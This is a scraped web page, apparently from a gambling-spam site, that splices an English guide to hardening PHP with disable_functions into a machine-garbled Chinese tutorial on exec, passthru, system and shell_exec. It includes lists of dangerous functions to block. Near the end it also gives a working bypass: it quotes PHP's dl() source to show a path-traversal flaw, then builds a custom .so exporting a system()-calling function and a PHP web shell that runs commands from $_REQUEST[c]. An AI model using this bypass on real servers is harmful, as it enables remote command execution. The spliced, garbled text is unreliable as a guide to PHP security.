www.2527.com_澳门新葡8455手机版_新京葡娱乐场网址_
做最好的网站

PHP高危函数exec,启用disable_functions进步安全www.

2019-08-03 01:45 来源:未知

 代码如下

Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How do I disable these functions to improve my php script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in php.ini using disable_functions directive. This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf.
Open php.ini file:
# vi /etc/php.ini
Find disable_functions and set new list as follows:
查找disable_functions然后用下边包车型地铁轮换

php提供4种方法实行系统外界命令:exec()、passthru()、system()、 shell_exec()。
在起来介绍前,先反省下php配置文本php.ini中是有禁止那是个函数。找到 disable_functions,配置如下:
disable_functions =
如果“disable_functions=”前面有接上头两个函数,将其删除。
默许php.ini配置文件中是不禁止你调用实践外界命令的函数的。

vim /etc/php.ini

复制代码 代码如下:

方法一:exec()

去掉disable_functions前注释,编辑内容如下

disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

function exec(string $command,array[optional] $output,int[optional] $return_value)
php代码:

 代码如下

Save and close the file. Restart httpd:

<?php
        echo exec("ls",$file);
        echo "</br>";
        print_r($file);
?>
推行结果:
test.php
Array( [0] => index.php [1] => test.php)

disable_functions = exec,shell_exec,system,passthru,popen

复制代码 代码如下:

知识点:

友谊提示,有意中人说想过滤eval函数,在php中这么些不是函数无法在disable_functions禁止的啊

# service httpd restart

exec 实行系统外界命令时不会输出结果,而是回到结果的结尾一行,若是您想赢得结果你能够运用第贰个参数,让其出口到钦点的数组,此数组二个记录代表输出的一行,即借使出口结果有20行,则那一个数组就有20条记下,所以只要您要求频仍输出调用分化系列外界命令的结果,你最佳在输出每一条系统外界命令结果时清空那些数组,避防混乱。第五个参数用来得到命令试行的状态码,平时试行成功都以重回0。

Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

方法二:passthru()

iis中设置格局,在c:windowsphp.ini

function passthru(string $command,int[optional] $return_value)
代码:

星外的安装:

<?php
        passthru("ls");
?>
实行结果:
index.phptest.php
知识点:
passthru与system的区分,passthru直接将结果输出到浏览器,没有供给选用 echo 或 return 来查看结果,不回去任何值,且其能够出口二进制,例如图像数据。

复制代码 代码如下:

方法三:system()

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit

function system(string $command,int[optional] $return_value)
代码:

建议增添phpinfo等,能够参谋上面包车型大巴安装,今后在利用进度中大概会冒出php不扶助部分效果的境况,然后我们可以搜索下错误提醒,去掉相应的函数就能够。
支撑的越来越多越不安全,对于搜罗程序来讲要求去掉curl_exec,大家多测量试验就可以。

<?php
        system("ls /");
?>
实践结果:
binbootcgroupdevetchomeliblost foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
知识点:
system和exec的分别在于system在施行系统外界命令时,直接将结果输出到浏览器,无需利用 echo 或 return 来查阅结果,倘若实践命令成功则赶回true,不然再次回到false。第二个参数与exec第多个参数含义一样。

下边提供三个更完整的本子

方法四:反撇号`和shell_exec()

复制代码 代码如下:

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod,gzinflate,set_time_limit,

代码:

iis中设置后,运维中输入 iisreset /restart就能够。

<?php
        echo `pwd`;
?>

只顾上面包车型大巴突破艺术:建议张开安全形式
PHP是一款功效强大应用广泛的脚本语言,不小学一年级些网址都以利用PHP架构的。因为其提供了有力的公文操作作用和与系统相互的效率,所以大多数的服务器都对PHP做了适度从紧的限制,包涵利用open_basedir限制能够操作的目录以及选拔disable_functions限制造过程序采用一些方可间接实行系统命令的函数如system,exec,passthru,shell_exec,proc_open等等。可是只要服务器并没有对dl()函数做限定,同样能够行使dl()函数饶过那一个限制。
dl()函数允许在php脚本里动态加载php模块,暗中认可是加载extension_dir目录里的恢宏,该选用是PHP_INI_SYSTEM范围可修改的,只好在php.ini也许apache主配置文件里修改。当然,你也得以通过enable_dl选项来关闭动态加载成效,而以此选项暗许为On的,事实上也非常少人瞩目到那个。dl()函数在统一筹划时存在安全漏洞,能够用../这种目录遍历的点子内定加载任何贰个索引里的so等扩张文件,extension_dir限制能够被随便饶过。所以大家可以上传自身的so文件,并且用dl函数加载那一个so文件然后使用so文件里的函数实践别的操作,富含系统命令。
PHP_FUNCTION(dl)
{
pval **file;
#ifdef ZTS
if ((strncmp(sapi_module.name, "cgi", 3)!=0) &&
(strcmp(sapi_module.name, "cli")!=0) &&
(strncmp(sapi_module.name, "embed", 5)!=0)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini");
RETURN_FALSE;
} //验证是或不是足以利用dl函数,在三十二线程web服务器里是禁止的
#endif
/* obtain arguments */
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(file); //获得参数
if (!PG(enable_dl)) {
php_error_docref(NULL TSRMLS_CC, E_WATiguanNING, "Dynamically loaded extentions aren't enabled");//验证是或不是enable_dl,默认为on
} else if (PG(safe_mode)) {
php_error_docref(NULL TSRMLS_CC, E_WA兰德福特ExplorerNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//验证是不是safe_mode打开
} else {
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开端调用加载
EG(full_tables_cleanup) = 1;
}
上边是发端拍卖模块的加载
void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)
{
void *handle;
char *libpath;
zend_module_entry *module_entry, *tmp;
zend_module_entry *(*www.2527.com,get_module)(void);
int error_type;
char *extension_dir; //定义一些变量
if (type==MODULE_PERSISTENT) {
/* Use the configuration hash directly, the INI mechanism is not yet initialized */
if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) {
extension_dir = PHP_EXTENSION_DIR;
}
} else {
extension_dir = PG(extension_dir);
} //猎取php.ini里的装置约等于extension_dir的目录
if (type==MODULE_TEMPORARY) {
error_type = E_WARNING;
} else {
error_type = E_CORE_WARNING;
}
if (extension_dir && extension_dir[0]){
int extension_dir_len = strlen(extension_dir);
libpath = emalloc(extension_dir_len Z_STRLEN_P(file) 2);
if (IS_SLASH(extension_dir[extension_dir_len-1])) {
sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */
} else {
sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */
} //构造最后的so文件的职位,只是轻便的增大,并从未对传播的参数做别的检查,包涵open_basedir等
} else {
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));
}
/* load dynamic symbol */
handle = DL_LOAD(libpath); //初步确实的调用了
观察了呢,大家能够调用任性的so了哦!下一步正是编写制定自身的so模块,並且调用他。依据合法提供的模块编写方法,笔者写了个相当的粗略的,首要的导出函数loveshell如下:
PHP_FUNCTION(loveshell)
{
char *command;
int command_len;
if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {
WRONG_PARAM_COUNT;
}
system(command);
zend_printf("I recieve %s",command);
}
瞩目由于php4和php5的组织不均等,所以只要想要能顺遂调用扩张,那么在php4处境下将在将下边包车型大巴代码放到php4景况下编写翻译,php5的即就要php5情状下编写翻译。大家将编写制定好的恢宏上传出服务器,就足以接纳下边包车型地铁代码推行命令了:
<?php
dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so');
$cmd=$_REQUEST[c]." 2>&1>tmp.txt";
loveshell($cmd);
echo "<br>";
echo file_get_contents('tmp.txt');
?>
故而借使想保障服务器的平安,请将以此函数加到disable_functions里只怕将安全情势张开吧,在安全情势下dl函数是免费禁止的!:)

实践结果:

你可能感兴趣的作品:

  • 一些须求禁止使用的PHP惊险函数(disable_functions)
  • PHP通过bypass disable functions施行系统命令的不二秘诀汇总

/var/www/html

TAG标签:
版权声明:本文由澳门新葡8455手机版发布于www.2527.com,转载请注明出处:PHP高危函数exec,启用disable_functions进步安全www.